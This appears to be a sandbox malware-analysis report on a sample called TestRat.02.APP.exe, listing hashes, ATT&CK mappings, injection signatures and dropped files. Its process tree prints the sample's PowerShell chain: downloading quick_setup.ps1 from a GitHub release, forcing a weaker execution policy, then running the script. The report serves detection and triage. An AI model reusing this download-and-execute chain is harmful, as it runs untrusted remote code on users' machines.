285600cafa0475b557b8f722dcc4628b7e7780a593c69fec0954046a45272ee8

General

Target

TestRat.02.APP.exe
Size

139KB
MD5

6d75b31bfa691bdf32c0c9331c8b7ff7
SHA1

5387d89075eb924adca7318add02c0bca8812a9e
SHA256

fb1e3c46ce349e7ae853621f708fe0bfa08e142b6f6262dc9ab6f8e03cb5380f
SHA512

ca08fd9ed2543ff13167f57e27fe4fbb6a395161e25902b7c9ec562034f6cb9aa24f2a32c04341b5ac29c49bd683393856742bd0f400e2c0cc660760ab2b7b83
SSDEEP

3072:CAi4pxpEHmAdx4/kyHRZa0YiRAl278IVn2JbS1cJA8lW7:CAi4pxpRkyHRZa0Gl278IVNc2cW

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4680	powershell.exe
3	4680	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4680	powershell.exe
4092	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4680	powershell.exe
1564	powershell.exe
4092	powershell.exe
1564	powershell.exe
4680	powershell.exe
4092	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4680	powershell.exe
Token: SeDebugPrivilege	1564	powershell.exe
Token: SeDebugPrivilege	4092	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 4680	996	TestRat.02.APP.exe	83
PID 996 wrote to memory of 4680	996	TestRat.02.APP.exe	83
PID 996 wrote to memory of 4092	996	TestRat.02.APP.exe	84
PID 996 wrote to memory of 4092	996	TestRat.02.APP.exe	84
PID 996 wrote to memory of 1564	996	TestRat.02.APP.exe	85
PID 996 wrote to memory of 1564	996	TestRat.02.APP.exe	85

C:\Users\Admin\AppData\Local\Temp\TestRat.02.APP.exe
"C:\Users\Admin\AppData\Local\Temp\TestRat.02.APP.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Invoke-WebRequest -Uri https://github.com/Daulaires/Daulaires/releases/download/Lester/quick_setup.ps1 -OutFile quick_setup.ps1
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" .\quick_setup.ps1
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1564

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
4ef3b165311abe48029443c0a529747f

SHA1
ad65cc913ed3805d813bc16337c7f6d2a97b55d9

SHA256
c2c563dddc3df7fda0e246d9988718b315a9704335312d5ddfb1768efa1655ff

SHA512
696e3deb942e4f6d3980a831668bfd40a8bee586cca3e4ca5a85aeae482af5c8c5ae21e319b4483345c582b7a61d51220c8ccce0072497a8ee53e1e87ac5e99a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e3840d9bcedfe7017e49ee5d05bd1c46

SHA1
272620fb2605bd196df471d62db4b2d280a363c6

SHA256
3ac83e70415b9701ee71a4560232d7998e00c3db020fde669eb01b8821d2746f

SHA512
76adc88ab3930acc6b8b7668e2de797b8c00edcfc41660ee4485259c72a8adf162db62c2621ead5a9950f12bfe8a76ccab79d02fda11860afb0e217812cac376

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b94a5f9c019b614942fc29d049e77006

SHA1
7d22a700e14c52c6ded2a26cc063057b779d5c2e

SHA256
ac01c39f1027c82f8d739b7a15c8fc17875bf33f3069f9acf0eb4a0d3b8803d7

SHA512
301825dd58920d02a28650c9bd9a43d36d5d896fa72b79b49792a868f2df4d419dd6fdfe245f544f8becaff9585e63050fe2e6979dbc35a592017423a392633e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1wdrrbu4.3aj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1564-27-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/1564-18-0x000001F777E80000-0x000001F777EA2000-memory.dmp

Filesize
136KB

Download
memory/1564-29-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/1564-40-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/1564-36-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/4092-34-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/4092-35-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/4092-30-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/4092-28-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/4680-31-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/4680-0-0x00007FFC8BA83000-0x00007FFC8BA85000-memory.dmp

Filesize
8KB

Download
memory/4680-9-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download
memory/4680-44-0x00000228BAF80000-0x00000228BB08A000-memory.dmp

Filesize
1.0MB

Download
memory/4680-45-0x00007FFC8BA80000-0x00007FFC8C542000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing